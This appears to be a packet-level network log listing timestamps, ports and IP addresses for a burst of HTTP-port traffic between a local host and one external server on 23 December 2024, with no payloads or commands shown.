Dec 23, 2024 08:07:59.627652884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.628035069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.628047943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.628060102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.628071070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.628082991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.628094912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.628103971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.628107071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.628120899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.628138065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.628143072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.628156900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.628901958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.628935099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.628947020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.628951073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.628958941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.628974915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.628998995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.629004002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.629017115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.629026890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.629030943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.629054070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.629055977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.629112005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.629796028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.629810095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.629821062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.629838943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.629846096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.629863977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.629877090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.629877090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.629889965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.629903078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.629914045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.629950047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.630716085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.630736113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.630763054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.630774975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.630788088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.630798101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.630801916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.630815029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.630819082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.630830050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.630845070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.630853891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.630875111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.631700039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.631714106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.631725073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.631737947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.631748915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.631752968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.631762981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.631773949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.631807089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.632762909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.632783890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.632806063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.632807016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.632822990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.632828951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.632842064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.632848978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.632877111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.632891893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.632898092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.632916927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.633384943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.633398056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.633409023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.633436918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.633441925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.633454084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.633475065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.633481026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.633493900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.633497953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.633531094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.633533955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.633544922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.633588076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.633840084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.633883953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.633904934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.633933067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.633944988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.633946896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.633960009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.633972883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.633982897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.633990049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.633995056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.634002924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.634027004 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.635093927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.635133982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.635147095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.635173082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.635185003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.635185957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.635199070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.635210991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.635211945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.635224104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.635231972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.635236979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.635250092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.635262012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.635327101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.635684013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.635695934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.635736942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.635741949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.635785103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.635797977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.635811090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.635817051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.635823011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.635840893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.635843039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.635873079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.636364937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.636627913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.636686087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.636698008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.636712074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.636723042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.636723995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.636748075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.636775017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.637073040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.637085915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.637096882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.637109995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.637121916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.637130976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.637151003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.637160063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.637175083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.637186050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.637203932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.637213945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.637242079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.637646914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.637964010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.637978077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.638005972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.638051033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.638070107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.638082981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.638089895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.638098955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.638115883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.638123035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.638128042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.638143063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.638164997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.638186932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.638978958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.638998032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.639009953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.639024019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.639036894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.639049053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.639061928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.639075041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.639079094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.639086962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.639105082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.639127016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.639708996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.639722109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.639754057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.639923096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.639935970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.639946938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.639960051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.639966965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.639988899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.640645981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.640670061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.640681982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.640695095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.640714884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.640717983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.640728951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.640739918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.640743017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.640755892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.640767097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.640769958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.640790939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.640806913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.641561031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.641575098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.641587019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.641599894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.641612053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.641623974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.641628981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.641658068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.641789913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.642190933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.642204046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.642210007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.642216921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.642230988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.642242908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.642251015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.642256021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.642268896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.642285109 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.642298937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.642949104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.642961979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.643017054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.643050909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.643064022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.643076897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.643088102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.643099070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.643105030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.643115997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.643120050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.643136978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.643172026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.643959999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.643974066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.643985987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.643999100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.644022942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.644027948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.644043922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.644056082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.644058943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.644074917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.644087076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.644098043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.644161940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.644397020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.644854069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.644866943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.644880056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.644893885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.644906044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.644928932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.644934893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.644949913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.644959927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.644961119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.644974947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.644978046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.644999027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.645736933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.645751953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.645786047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.645832062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.645843983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.645855904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.645881891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.645894051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.645917892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.645950079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.649369001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.660631895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.733362913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.733477116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.733598948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.733652115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.734055042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.734095097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.734121084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.734786987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.734807014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.734852076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.735539913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.735583067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.735641956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.736476898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.736501932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.736526012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.737030983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.737085104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.737154007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.737840891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.737911940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.737953901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.738610029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.738667965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.738733053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.739335060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.739379883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.739381075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.740016937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.740077019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.740151882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.740787029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.740798950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.740848064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.741529942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.741580963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.741612911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.742266893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.742321014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.742328882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.743019104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.743102074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.743122101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.743773937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.743818998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.743865967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.744575977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.744694948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.744705915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.745403051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.745415926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.745440960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.746030092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.746071100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.746112108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.747051954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.747107983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.747189999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.747668982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.747684956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.747729063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.748522043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.748573065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.748662949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.749260902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.749305964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:59.749334097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.749737978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:59.749782085 CET	49744	80	192.168.2.4	185.215.113.16
